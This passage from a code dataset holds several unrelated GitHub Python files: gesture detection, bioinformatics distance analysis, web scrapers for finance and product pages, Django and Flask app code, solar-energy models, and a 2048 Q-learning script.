ay={ay:.2f}, accel={accel:.2f}\")\n\n if speed > thresh[0] and accel > thresh[1]:\n if abs(vy) > abs(vx):\n if vy < 0:\n return True, \"Up\"\n else:\n return True, \"Down\"\n else:\n if vx > 0: # assumes image is flipped\n return True, \"Right\"\n else:\n return True, \"Left\"\n else:\n return False, None\n\n\n\ndef zoomed(zoom_belt, thresh=3.5, out_adj=1.4): # coords = [[x,y],[x,y]] ;; 94 px\n def compute_angular_speed(zoom_belt):\n w = 0.0\n for idx in range(len(zoom_belt)-1):\n middle0 = np.array([zoom_belt[idx][0][0], zoom_belt[idx][0][1]])\n thumb0 = np.array([zoom_belt[idx][1][0], zoom_belt[idx][1][1]])\n middle1 = np.array([zoom_belt[idx+1][0][0], zoom_belt[idx+1][0][1]])\n thumb1 = np.array([zoom_belt[idx+1][1][0], zoom_belt[idx+1][1][1]])\n phase0 = np.linalg.norm(middle0 - thumb0)\n phase1 = np.linalg.norm(middle1 - thumb1)\n w += phase1 - phase0\n w /= len(zoom_belt)-1\n if w < 0: # zoom_out compensation\n w *= out_adj\n return w\n\n w = compute_angular_speed(zoom_belt)\n #print(f\"w={w:.2f}\")\n if abs(w) > thresh:\n if w > 0:\n return True, \"zoom_in\"\n else:\n return True, \"zoom_out\"\n # past_coords, new_coords = zoom_belt[0], zoom_belt[-1]\n # past_coords_idx = np.array((past_coords[0][0], past_coords[0][1]))\n # past_coords_thm = np.array((past_coords[1][0], past_coords[1][1]))\n # new_coords_idx = np.array((new_coords[0][0], new_coords[0][1]))\n # new_coords_thm = np.array((new_coords[1][0], new_coords[1][1]))\n # # print(np.linalg.norm(new_coords_idx - new_coords_thm))\n # if np.linalg.norm(past_coords_idx - past_coords_thm) < 30 and np.linalg.norm(new_coords_idx - new_coords_thm) > 94:\n # return True, \"zoom_in\"\n # if np.linalg.norm(past_coords_idx - past_coords_thm) > 80 and np.linalg.norm(new_coords_idx - new_coords_thm) < 40:\n # return True, \"zoom_out\"\n return False, None\n\n\ndef rotate(rotate_belt): # coords = [[x,y],[x,y], [x,y] ;; -inf to 20, 21 to 69, 70 to +inf\n past_coords, new_coords = rotate_belt[0], rotate_belt[-1]\n lm_5 = np.array([past_coords[0][0], past_coords[0][1]]) # 5\n lm_0 = np.array([past_coords[1][0], past_coords[1][1]]) # 0\n lm_17 = np.array([past_coords[2][0], past_coords[2][1]]) # 17\n lm_17_ = np.array([new_coords[2][0], new_coords[2][1]]) # 17 prime\n\n lm0_5 = lm_5 - lm_0\n lm0_17 = lm_17 - lm_0\n\n cos = np.dot(lm0_5, lm0_17) / (np.linalg.norm(lm0_5) * np.linalg.norm(lm0_17))\n angle = np.arccos(cos)\n\n lm0_17_ = lm_17_ - lm_0\n cos_ = np.dot(lm0_5, lm0_17_) / (np.linalg.norm(lm0_5) * np.linalg.norm(lm0_17_))\n angle_ = np.arccos(cos_)\n\n #print(np.degrees(angle), np.degrees(angle_))\n if np.degrees(angle_) > 80:\n return True, \"rotate_cw\"\n\n if np.degrees(angle) - np.degrees(angle_) > 20:\n return True, \"rotate_ccw\"\n else:\n return False, None\n\n\n\n# Mouse Mode\ndef get_hand_landmarks_rel(results):\n hands_landmarks = []\n if results.multi_hand_landmarks:\n for hand_type, hand_lms in zip(results.multi_handedness, results.multi_hand_landmarks):\n hand = {}\n lm_list = [] \n for lm in hand_lms.landmark:\n px, py, pz = lm.x, lm.y, lm.z\n lm_list.append([px, py, pz])\n hand[\"lm_list\"] = lm_list\n hand[\"type\"] = hand_type.classification[0].label\n hands_landmarks.append(hand)\n return hands_landmarks\n\n\ndef thumb_click(landmark_list):\n if landmark_list is None:\n return False\n thumb_kp = landmark_list[4]\n left_kp = landmark_list[13]\n click_value = ( (left_kp[0]-thumb_kp[0])**2 + (left_kp[1]-thumb_kp[1])**2 ) ** 0.5\n return click_value < 0.03\n\n\ndef curl_click(landmark_list):\n fc = hand_curl(landmark_list)\n if fc[1] == 1 and fc[2] == 1 and fc[3] == 1 and fc[4] == 1:\n return True\n else:\n return False\n","repo_name":"brogelio/Fruit_Salad","sub_path":"Release/utils/gestures.py","file_name":"gestures.py","file_ext":"py","file_size_in_byte":8117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9605089155","text":"def main():\n '''\n This script will make cell-line by cell-line distance vectors and using the\n gene expression data (with and withouth gene-zscoring) and PTM data. I'll\n then check how different PTM data processing methods (normalization/filtering)\n affect the distances between all cell line pairs in gene-expression space\n '''\n\n compare_cl_data_to_ptm(exp_type='exp_none', pairwise=False)\n\n reproduce_Mark_correlation_matrix()\n\ndef reproduce_Mark_correlation_matrix():\n import pandas as pd\n from scipy.spatial.distance import squareform\n from clustergrammer import Network\n from copy import deepcopy\n\n dist_vect = calc_custom_dist(data_type='ptm_none', dist_metric='correlation',\n pairwise='True')\n\n\n dist_mat = squareform(dist_vect)\n\n # make similarity matrix\n dist_mat = 1 - dist_mat\n\n net = Network()\n\n data_type = 'ptm_none'\n\n filename = '../lung_cellline_3_1_16/lung_cl_all_ptm/precalc_processed/' + \\\n data_type + '.txt'\n\n # load file and export dataframe\n net = deepcopy(Network())\n net.load_file(filename)\n net.swap_nan_for_zero()\n tmp_df = net.dat_to_df()\n df = tmp_df['mat']\n\n cols = df.columns.tolist()\n rows = cols\n\n mark_df = pd.DataFrame(data=dist_mat, columns=cols, index=rows)\n\n save_filename = '../lung_cellline_3_1_16/lung_cl_all_ptm/precalc_processed/' \\\n + 'Mark_corr_sim_mat' + '.txt'\n mark_df.to_csv(save_filename, sep='\\t', na_rep='nan')\n\ndef compare_cl_data_to_ptm(exp_type='exp_none', mantel_method='pearson',\n pairwise=False):\n\n # compare distance matrices of cell lines based on different processed\n # versions of exp and ptm data\n #########################################################\n multiple_dist_metrics = ['correlation', 'euclidean','cosine']\n\n for inst_metric in multiple_dist_metrics:\n print('inst_metric: ' + str(inst_metric) + '\\n============================')\n compare_exp_to_various_ptm_versions(exp_type=exp_type,\n dist_metric=inst_metric, mantel_method=mantel_method, pairwise=pairwise)\n\ndef compare_plex_to_exp():\n mantel_test('exp-plex', 'exp_none')\n\ndef compare_exp_to_various_ptm_versions(exp_type='exp_none',\n dist_metric='euclidean', mantel_method='pearson', pairwise=False):\n import numpy as np\n import pandas as pd\n from copy import deepcopy\n\n ptm_norms = [\n 'none', 'row-zscore', 'col-qn', 'col-zscore',\n 'col-qn_row-zscore', 'col-zscore_row-zscore'\n ]\n\n # only add filter for PTM data\n filter_before = ['filter_'+i for i in ptm_norms]\n filter_after = [i+'_filter' for i in ptm_norms]\n all_proc = ptm_norms + filter_before + filter_after\n all_proc = ['ptm_'+i for i in all_proc]\n\n cols = ['cor', 'pval', 'zscore']\n rows = deepcopy(all_proc)\n rows = [i.replace('ptm_','').replace('_',' ') for i in rows]\n\n mat = np.zeros((len(rows), len(cols)))\n\n # run mantel tests\n #####################################\n for i in range(len(all_proc)):\n\n ptm_proc = all_proc[i]\n\n results = mantel_test(exp_type, ptm_proc, dist_metric=dist_metric,\n mantel_method=mantel_method, pairwise=pairwise)\n\n mat[i, 0] = results[0]\n mat[i, 1] = results[1]\n mat[i, 2] = results[2]\n\n # save as tsv\n df = pd.DataFrame(data=mat, columns=cols, index=rows)\n\n # use dash to encode expression data type\n exp_name = exp_type.replace('_none','').replace('_','-')\n filename = '../lung_cellline_3_1_16/lung_cl_all_ptm/compare_cl_dist/'+\\\n 'cl_'+exp_name+'_vs_ptm_'+dist_metric+'_' + 'pairwise-' + str(pairwise) + '.txt'\n df.to_csv(filename, sep='\\t')\n\ndef mantel_test(data_1, data_2, perms=10000, tail='upper',\n dist_metric='euclidean', mantel_method='pearson',\n pairwise=False):\n\n import Mantel\n from scipy.stats import pearsonr\n\n print('compare ' + data_1 + ' to ' + data_2)\n\n # calculate distance matrices of both matrices\n dist_metric_1 = dist_metric\n dist_metric_2 = dist_metric\n if data_1 == 'exp-plex':\n dist_metric_1 = 'jaccard'\n if data_2 == 'exp-plex':\n dist_metric_2 = 'jaccard'\n\n dist_mat_1 = calc_cl_dist(data_type=data_1, dist_metric=dist_metric_1,\n pairwise=pairwise)\n dist_mat_2 = calc_cl_dist(data_type=data_2, dist_metric=dist_metric_2,\n pairwise=pairwise)\n\n\n pr_results = pearsonr(dist_mat_1, dist_mat_2)\n\n print('checking that mantel corr is equal to pearsonr')\n print([pr_results])\n\n # pearson or spearman\n results = Mantel.test(dist_mat_1, dist_mat_2, perms=perms, tail='upper', method=mantel_method)\n\n print(results)\n print('\\n')\n\n return results\n\ndef calc_cl_dist(data_type='exp_none', dist_metric='euclidean', pairwise=False):\n\n # # calculate normal distances\n # if pairwise == False:\n # print('using normal comparisons')\n # dist_mat = normal_pdist_calc(data_type=data_type, dist_metric=dist_metric)\n # elif pairwise == True:\n # print('using pairwise complete comparisons')\n # dist_mat = calc_custom_dist(data_type=data_type, dist_metric=dist_metric)\n\n # using custom distance always\n dist_mat = calc_custom_dist(data_type=data_type, dist_metric=dist_metric,\n pairwise=pairwise)\n\n return dist_mat\n\ndef normal_pdist_calc(data_type='exp_none', dist_metric='euclidean'):\n '''\n calculate cell line distance based on data_type (e.g. expression) with\n optional filtering and normalization\n '''\n from scipy.spatial.distance import pdist, squareform\n from clustergrammer import Network\n from copy import deepcopy\n\n filename = '../lung_cellline_3_1_16/lung_cl_all_ptm/precalc_processed/' + \\\n data_type + '.txt'\n\n # load file and export dataframe\n net = deepcopy(Network())\n net.load_file(filename)\n net.swap_nan_for_zero()\n tmp_df = net.dat_to_df()\n df = tmp_df['mat']\n\n print('data_type: ' + data_type + ' dist_metric: ' + dist_metric + ' shape'+ str(df.shape))\n\n # transpose to calc distance matrix of columns\n df = df.transpose()\n\n dist_mat = pdist(df, metric=dist_metric)\n\n return dist_mat\n\ndef calc_custom_dist(data_type, dist_metric, pairwise):\n\n import numpy as np\n import pandas as pd\n import scipy.spatial.distance as dist_fun\n from scipy.spatial.distance import pdist\n from clustergrammer import Network\n from copy import deepcopy\n\n filename = '../lung_cellline_3_1_16/lung_cl_all_ptm/precalc_processed/' + \\\n data_type + '.txt'\n\n # load file and export dataframe\n net = deepcopy(Network())\n net.load_file(filename)\n\n # #############################\n # do not swap nans for zeros\n # #############################\n # net.swap_nan_for_zero()\n\n if pairwise == False:\n print('using normal comparisons')\n net.swap_nan_for_zero()\n elif pairwise == True:\n print('using pairwise complete comparisons')\n\n tmp_df = net.dat_to_df()\n df = tmp_df['mat']\n\n rows = df.index.tolist()\n cols = df.columns.tolist()\n\n dist_vector = np.zeros(666,)\n\n # write for-loop to calculate custom distance matrix and compare result\n # to pdist\n num_calc = 0\n for i in range(len(cols)):\n\n col_1 = cols[i]\n\n for j in range(len(cols)):\n\n if j > i:\n\n col_2 = cols[j]\n\n vect_1 = df[col_1]\n vect_2 = df[col_2]\n\n mat = np.vstack((vect_1, vect_2)).transpose()\n df_small = pd.DataFrame(mat)\n\n # drop na: pairwise complete vector comparisons\n df_small = df_small.dropna(axis=0)\n\n # calc distance using pdist (only two vectors)\n df_small = df_small.transpose()\n dist_pdist = pdist(df_small, metric=dist_metric)\n\n # save to distance vector\n dist_vector[num_calc] = dist_pdist\n\n num_calc = num_calc + 1\n\n return dist_vector\n\nmain()","repo_name":"MaayanLab/CST_Lung_Cancer_Viz","sub_path":"notebooks/compare_cl_distances.py","file_name":"compare_cl_distances.py","file_ext":"py","file_size_in_byte":7673,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"33379492251","text":"import sys\nimport cv2\nimport numpy as np\n\nif len(sys.argv) != 2:\n print('Please use calling convention: python3 {this_script} [image_path]')\n exit(-1)\n#print(sys.argv[1])\n\nimage_path = sys.argv[1]\nimg = cv2.imread(image_path, cv2.IMREAD_COLOR)\n\nimg_height = img.shape[0]\nimg_width = img.shape[1]\n\n#cv2.imshow('test', img)\n\nedged = cv2.Canny(img, 10, 240)\n#cv2.imshow('test canny', edged)\n\ncontours, _ = cv2.findContours(edged.copy(), cv2.RETR_TREE, cv2.CHAIN_APPROX_TC89_L1)\ncontours = sorted(contours, key = cv2.contourArea, reverse = True)\n\ncontours_image = img.copy()\ncontour = list(contours[len(contours) - 1])\n#print(len(contours), len(contour))\ncv2.drawContours(contours_image, contour, -1, (0, 255, 0), 9)\n\ncv2.namedWindow('image', cv2.WINDOW_NORMAL)\ncv2.imshow('image', contours_image)\n\nprint('polygon = PoolVector2Array( ', end='', sep='')\nfor i in range(len(contour)):\n if i < len(contour) - 1:\n print(contour[i][0][0] - img_width / 2, ', ', contour[i][0][1] - img_height / 2, ', ', end='', sep='')\n else:\n print(contour[i][0][0] - img_width / 2, ', ', contour[i][0][1] - img_height / 2, ' )', end='', sep='')\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","repo_name":"n1ay/LunarLander","sub_path":"assets/get_image_collision_polygon.py","file_name":"get_image_collision_polygon.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41067127582","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Aug 14 08:51:02 2019\r\n\r\n@author: Administrator\r\n\"\"\"\r\nimport requests,re\r\nimport json\r\nfrom datetime import date\r\nimport pandas as pd\r\nimport time\r\nimport matplotlib.pyplot as plt\r\ndef retrieve_quotes_historical(stock_code):\r\n quotes=[]\r\n url = 'https://finance.yahoo.com/quote/%s/history?p=%s' % (stock_code, stock_code)\r\n try:\r\n r=requests.get(url)\r\n except ConnectionError as err:\r\n print(err)\r\n m = re.findall('\"HistoricalPriceStore\":{\"prices\":(.*?),\"isPending\"', r.text)\r\n if m:\r\n quotes = json.loads(m[0])\r\n quotes = quotes[::-1]\r\n return [item for item in quotes if not 'type' in item]\r\nquotes = retrieve_quotes_historical('KO')\r\nlist1 = []\r\nfor i in range(len(quotes)):\r\n x = date.fromtimestamp(quotes[i]['date'])\r\n y = date.strftime(x,'%Y-%m-%d')\r\n list1.append(y)\r\nquotesdf_ori = pd.DataFrame(quotes,index = list1)\r\nquotesdf = quotesdf_ori.drop(['date'],axis=1)#axis = 0 夸行 axis=1跨列\r\nlisttemp = []\r\nfor i in range(len(quotesdf)):\r\n temp = time.strptime(quotesdf.index[i],'%Y-%m-%d')\r\n listtemp.append(temp.tm_mon)\r\ntempdf = quotesdf.copy()\r\ntempdf['month'] = listtemp\r\ncloseMeansKO = tempdf.groupby('month').close.mean() \r\nprint(closeMeansKO)\r\nx = closeMeansKO.index\r\ny = closeMeansKO.values\r\nplt.plot(x, y)\r\nplt.savefig('1.jpg')","repo_name":"ivileey/python","sub_path":"python入门/12_利用数据分析作图.py","file_name":"12_利用数据分析作图.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36200726417","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('addpatient/',views.AddPatient.as_view(),name = \"addpatient\"),\n path('editpatient/',views.EditPatient.as_view(),name = \"editpatient\"),\n path('deletepatient/',views.DeletePatientView.as_view(),name = \"deletepatient\"),\n path('specificpatient/',views.SpecificPatientView.as_view(),name = \"specificpatient\"),\n path('search/',views.search, name = 'search')\n]\n","repo_name":"Godwingodu/Clinic-Hospital-Management","sub_path":"patients/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"31477312383","text":"from django.forms import ModelForm, TextInput\nfrom core.erp.models import Category\n\n\nclass CategoryForms(ModelForm):\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n for form in self.visible_fields():\n form.field.widget.attrs['class'] = 'form-control'\n form.field.widget.attrs['autocomplete'] = 'off'\n self.fields['name'].widget.attrs['autofocus'] = True\n\n class Meta:\n model = Category\n fields = '__all__'\n widgets = {\n 'name' : TextInput(\n attrs={\n 'class':'form-control',\n 'placeholder':'ingresa tu nombre',\n 'autocomplete':'off'\n }\n ),\n 'desc': TextInput(\n attrs={\n 'class': 'form-control',\n 'placeholder': 'ingresa un nombre',\n 'autocomplete': 'off',\n 'rows': 3,\n 'cols': 3\n }\n ),\n }","repo_name":"stivenjc/repaso","sub_path":"app/core/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"31350365983","text":"\"\"\"Models for energy calculation.\"\"\"\n\n# PvLib\nfrom pvlib.iotools.pvgis import get_pvgis_tmy\nfrom pvlib.pvsystem import retrieve_sam\n\n# Utiltites\nimport pandas as pd\nfrom requests import HTTPError\nfrom timezonefinder import TimezoneFinder\n\n# Manage error\nERROR_PVGIS_REQUEST = False\n\n\n# Models\nclass PvgisRequest:\n \"\"\"\n Class to get climatological and solar data\n from PvGis API.\n \"\"\"\n\n def __init__(self, latitude, longitude):\n self.latitude = latitude\n self.longitude = longitude\n self.elevation = None\n self.timezone = None\n self.data = None\n self.error_pvgis_request = None\n\n def get(self):\n\n global ERROR_PVGIS_REQUEST\n\n try:\n # Request to PvGIS API.\n pvg = get_pvgis_tmy(\n lat=self.latitude,\n lon=self.longitude\n )\n except Exception:\n # Rquest to a secure place\n pvg = get_pvgis_tmy(lat=19, lon=-100)\n ERROR_PVGIS_REQUEST = True\n\n # Get only util data.\n self.data = pvg[0]\n self.data_tmy_manage()\n self.elevation = pvg[2]['location']['elevation']\n\n return self\n\n def data_tmy_manage(self):\n # Find the local time zone\n tf = TimezoneFinder()\n self.timezone = tf.timezone_at(\n lng=self.longitude,\n lat=self.latitude\n )\n\n # Convert UTC time to local time\n self.data.index = self.data.index.tz_convert(self.timezone)\n self.data.index.name = f'{self.timezone}'\n\n\nclass Module:\n \"\"\"\n Class to manage pv module info.\n \"\"\"\n\n def __init__(self):\n self.modules = retrieve_sam(name='SandiaMod')\n self.module = None\n\n def get_propertys(self, module_name):\n # Adquire module info from Retriev Sam database\n self.module = module_name\n self.propertys = self.modules[module_name]\n\n\nclass Inverter:\n \"\"\"\n Class to manage pv module info.\n \"\"\"\n\n def __init__(self):\n self.inverters = retrieve_sam(name='SandiaInverter')\n self.inverter = None\n\n def get_propertys(self, inverter_name):\n # Adquire module info from Retriev Sam database\n self.inverter = inverter_name\n self.propertys = self.inverters[inverter_name]\n","repo_name":"emanuelosva/solaru","sub_path":"core/energy/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2284,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"13856023611","text":"from flask import Flask,render_template\nfrom recomand import Recomander\n\napp = Flask(__name__)\nrecom = Recomander()\n@app.route('/')\ndef hello():\n return render_template('index.html',movie=recom.get_title(),recomand=recom.get_top_recomand())\n@app.route('/')\ndef get_title(title):\n l = recom.get_recomandation(title)\n return render_template('title.html',split=l)\n\nif __name__ == '__main__':\n app.run(debug=True,port=1234)","repo_name":"Matei-Stoian/Movie_Recomandation","sub_path":"flask_app.py","file_name":"flask_app.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36916193872","text":"# coding: utf-8\n\nfrom collections import defaultdict\nimport sqlite3\n\nimport pandas as pd\n\nfrom constants import DATA_DIR, HEADER_USER\n\nuser_multi_split = {'area': defaultdict(set), 'status': defaultdict(set), 'work': defaultdict(set), 'behavior': defaultdict(set)}\n\ncon = sqlite3.connect(DATA_DIR + 'user.db')\n\n'''\n在你的程序中有几个 pragma 可用于调整 sqlite3 的行为。特别地,其中一个可以改善性能的是synchronous:\nconnection.execute('PRAGMA synchronous = OFF')\n你应该知道这可能是危险的。如果应用程序在事务中间意外崩溃,数据库可能会处于不一致的状态。所以请小心使用! 但是如果你要更快地插入很多行,那么这可能是一个选择。\n'''\ncon.execute('''CREATE TABLE user(\nuid int,\ncol string,\nvalue int\n)''')\n\nuser = pd.read_csv(DATA_DIR + 'user_data', sep='\\t', header=None, names=HEADER_USER,\n index_col=False, dtype=str, quotechar='\\t')\n\n# multi_value_cols = list(user_multi_split.keys())\nfor col in user_multi_split:\n for tup in user[['uid', col]].itertuples(index=False): # 默认index为True,作为tup[0]\n values = tup[1].strip(',').split(',')\n l = len(values)\n uids = [tup.uid] * l\n cols = [col] * l\n con.executemany('INSERT INTO user VALUES (?,?,?)', zip(uids, cols, values))\n con.commit()\n","repo_name":"wuminbin/2019_tencent_ad_contest","sub_path":"user_table.py","file_name":"user_table.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26003479797","text":"import urllib.parse\nimport urllib.request\nimport re\nfrom html.parser import HTMLParser\nfrom html.entities import name2codepoint\n \nurls= ['https://omim.org/clinicalSynopsis/143100?highlight=huntington%20disease',\n'http://search.jd.com/Search?keyword=meizu+7&enc=utf-8'];\n\ndef gethtml(url):\n user_agent = 'Mozilla/5.0 (X11; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0'\n headers ={'User-Agent':user_agent}\n req = urllib.request.Request(url, headers=headers)\n response = urllib.request.urlopen(req)\n html = response.read().decode()\n return html\n\ndef jdcat(prod):\n url='http://search.jd.com/Search?keyword='+prod+'&enc=utf-8'\n html = gethtml(url);\n parser = MyHTMLParser()\n parser.feed(html)\n content = parser.getContent()\n pt = re.compile('<meta name=\"description\"(.*?)/><script>',re.S)\n parser2 = MyHTMLParser()\n match = pt.search(html)\n if(match):\n parser2.feed(match.group(1))\n return(parser2.getContent())\n\n\n# html 是整个页面的字符串,可以用各种方式解析\n\nclass MyHTMLParser(HTMLParser):\n def __init__(self):\n super().__init__()\n self._content = ''\n def handle_starttag(self, tag, attrs):\n for attr in attrs:\n if(attr[1] == 'inheritance'):\n #print('>>>>>>')\n self._content += '>>>>>>\\n'\n break\n if(attr[1] == 'collapseEditHistory'):\n #print('>>>>>>')\n self._content += '>>>>>>\\n'\n break\n def handle_data(self, data):\n #data = data.strip()\n if(data.strip()):\n self._content += data+'\\n'\n def getContent(self):\n return self._content\n\n\n################################################################################\n\nhtml = gethtml(urls[0]);\nparser = MyHTMLParser()\n\n# 你可以看看content长什么样 --!\nparser.feed(html)\ncontent = parser.getContent().split('>>>>>>')[1]\np = re.compile('\\\\[.*?\\\\]', re.S)\nbody = ''.join(p.split(content))\n\n# 解析标题\npt = re.compile('<h3>(.*?)</h3>',re.S)\nparser2 = MyHTMLParser()\nmatch = pt.search(html)\nif(match):\n parser2.feed(match.group(1))\n\ntitle = ' '.join(parser2.getContent().split('\\n'))\n\nprint(title)\nprint(body)\n\n################################################################################\n\nhtml = gethtml(urls[1]);\nparser = MyHTMLParser()\n\nparser.feed(html)\ncontent = parser.getContent()\n\npt = re.compile('<meta name=\"description\"(.*?)/><script>',re.S)\nparser2 = MyHTMLParser()\nmatch = pt.search(html)\nif(match):\n parser2.feed(match.group(1))\n\ntitle = ' '.join(parser2.getContent().split('\\n'))\ntitle\n\n###################################################################\n\nproducts = ['psp2000','headandshoulder','iphone7plus','haifeisi','macbook']\nfor producti in products:\n print(producti)\n print(jdcat(producti))\n\n","repo_name":"wenrurumon/intbot_selenium","sub_path":"navy.py","file_name":"navy.py","file_ext":"py","file_size_in_byte":2842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7692337845","text":"import numpy as np\nfrom copy import deepcopy\nimport random \nimport math\nimport matplotlib.pyplot as plt\nimport tensorflow.compat.v1 as tf\n\ntf.compat.v1.disable_eager_execution()\n\n#initialize a new game\ndef new_game(n):\n matrix = np.zeros([n,n])\n return matrix\n\n#add 2 or 4 in the matrix\ndef add_two(mat):\n empty_cells = []\n for i in range(len(mat)):\n for j in range(len(mat[0])):\n if(mat[i][j]==0):\n empty_cells.append((i,j))\n if(len(empty_cells)==0):\n return mat\n \n index_pair = empty_cells[random.randint(0,len(empty_cells)-1)]\n \n prob = random.random()\n if(prob>=0.9):\n mat[index_pair[0]][index_pair[1]]=4\n else:\n mat[index_pair[0]][index_pair[1]]=2\n return mat\n\n#to check state of the game\ndef game_state(mat):\n #if 2048 in mat:\n # return 'win'\n \n for i in range(len(mat)-1): #intentionally reduced to check the row on the right and below\n for j in range(len(mat[0])-1): #more elegant to use exceptions but most likely this will be their solution\n if mat[i][j]==mat[i+1][j] or mat[i][j+1]==mat[i][j]:\n return 'not over'\n \n for i in range(len(mat)): #check for any zero entries\n for j in range(len(mat[0])):\n if mat[i][j]==0:\n return 'not over'\n \n for k in range(len(mat)-1): #to check the left/right entries on the last row\n if mat[len(mat)-1][k]==mat[len(mat)-1][k+1]:\n return 'not over'\n \n for j in range(len(mat)-1): #check up/down entries on last column\n if mat[j][len(mat)-1]==mat[j+1][len(mat)-1]:\n return 'not over'\n \n return 'lose'\n\n\ndef reverse(mat):\n new=[]\n for i in range(len(mat)):\n new.append([])\n for j in range(len(mat[0])):\n new[i].append(mat[i][len(mat[0])-j-1])\n return new\n\ndef transpose(mat):\n new=[]\n for i in range(len(mat[0])):\n new.append([])\n for j in range(len(mat)):\n new[i].append(mat[j][i])\n \n return np.transpose(mat)\n\ndef cover_up(mat):\n new = [[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0]]\n done = False\n for i in range(4):\n count = 0\n for j in range(4):\n if mat[i][j]!=0:\n new[i][count] = mat[i][j]\n if j!=count:\n done=True\n count+=1\n return (new,done)\n\ndef merge(mat):\n done=False\n score = 0\n for i in range(4):\n for j in range(3):\n if mat[i][j]==mat[i][j+1] and mat[i][j]!=0:\n mat[i][j]*=2\n score += mat[i][j] \n mat[i][j+1]=0\n done=True\n return (mat,done,score)\n\n#up move\ndef up(game):\n game = transpose(game)\n game,done = cover_up(game)\n temp = merge(game)\n game = temp[0]\n done = done or temp[1]\n game = cover_up(game)[0]\n game = transpose(game)\n return (game,done,temp[2])\n\n#down move\ndef down(game):\n game=reverse(transpose(game))\n game,done=cover_up(game)\n temp=merge(game)\n game=temp[0]\n done=done or temp[1]\n game=cover_up(game)[0]\n game=transpose(reverse(game))\n return (game,done,temp[2])\n\n#left move\ndef left(game):\n game,done=cover_up(game)\n temp=merge(game)\n game=temp[0]\n done=done or temp[1]\n game=cover_up(game)[0]\n return (game,done,temp[2])\n\n#right move\ndef right(game):\n game=reverse(game)\n game,done=cover_up(game)\n temp=merge(game)\n game=temp[0]\n done=done or temp[1]\n game=cover_up(game)[0]\n game=reverse(game)\n return (game,done,temp[2])\n\ncontrols = {0:up,1:left,2:right,3:down}\n\n#convert the input game matrix into corresponding power of 2 matrix.\ndef change_values(X):\n power_mat = np.zeros(shape=(1,4,4,16),dtype=np.float32)\n for i in range(4):\n for j in range(4):\n if(X[i][j]==0):\n power_mat[0][i][j][0] = 1.0\n else:\n power = int(math.log(X[i][j],2))\n power_mat[0][i][j][power] = 1.0\n return power_mat \n\n#find the number of empty cells in the game matrix.\ndef findemptyCell(mat):\n count = 0\n for i in range(len(mat)):\n for j in range(len(mat)):\n if(mat[i][j]==0):\n count+=1\n return count\n\n#hyper parameters\nstart_learning_rate = 0.0005\n\n#gamma for Q-learning\ngamma = 0.9\n\n#epsilon greedy approach\nepsilon = 0.9\n\n#to store states and lables of the game for training\n#states of the game\nreplay_memory = list()\n\n#labels of the states\nreplay_labels = list()\n\n#capacity of memory\nmem_capacity = 6000\n\n#first convolution layer depth\ndepth1 = 128\n\n#second convolution layer depth\ndepth2 = 128\n\n#batch size for batch gradient descent\nbatch_size = 512\n\n#input units\ninput_units = 16\n\n#fully connected layer neurons\nhidden_units = 256\n\n#output neurons = number of moves\noutput_units = 4\n\n#input data\ntf_batch_dataset = tf.placeholder(tf.float32,shape=(batch_size,4,4,16))\ntf_batch_labels = tf.placeholder(tf.float32,shape=(batch_size,output_units))\n\nsingle_dataset = tf.placeholder(tf.float32,shape=(1,4,4,16))\n\n\n#CONV LAYERS\n#conv layer1 weights\nconv1_layer1_weights = tf.Variable(tf.truncated_normal([1,2,input_units,depth1],mean=0,stddev=0.01))\nconv2_layer1_weights = tf.Variable(tf.truncated_normal([2,1,input_units,depth1],mean=0,stddev=0.01))\nprint(conv1_layer1_weights.shape)\nprint(conv2_layer1_weights.shape)\n\n#conv layer2 weights\nconv1_layer2_weights = tf.Variable(tf.truncated_normal([1,2,depth1,depth2],mean=0,stddev=0.01))\nconv2_layer2_weights = tf.Variable(tf.truncated_normal([2,1,depth1,depth2],mean=0,stddev=0.01))\nprint(conv2_layer2_weights.shape)\nprint(conv2_layer2_weights.shape)\n\n#FUllY CONNECTED LAYERS\nexpand_size = 2*4*depth2*2 + 3*3*depth2*2 + 4*3*depth1*2\nfc_layer1_weights = tf.Variable(tf.truncated_normal([expand_size,hidden_units],mean=0,stddev=0.01))\nfc_layer1_biases = tf.Variable(tf.truncated_normal([1,hidden_units],mean=0,stddev=0.01))\nfc_layer2_weights = tf.Variable(tf.truncated_normal([hidden_units,output_units],mean=0,stddev=0.01))\nfc_layer2_biases = tf.Variable(tf.truncated_normal([1,output_units],mean=0,stddev=0.01))\nprint(fc_layer1_weights.shape)\nprint(fc_layer1_biases.shape)\nprint(fc_layer2_weights.shape)\nprint(fc_layer2_biases.shape)\n\n#model\ndef model(dataset):\n #layer1\n conv1 = tf.nn.conv2d(dataset,conv1_layer1_weights,[1,1,1,1],padding='VALID') \n conv2 = tf.nn.conv2d(dataset,conv2_layer1_weights,[1,1,1,1],padding='VALID') \n \n #layer1 relu activation\n relu1 = tf.nn.relu(conv1)\n relu2 = 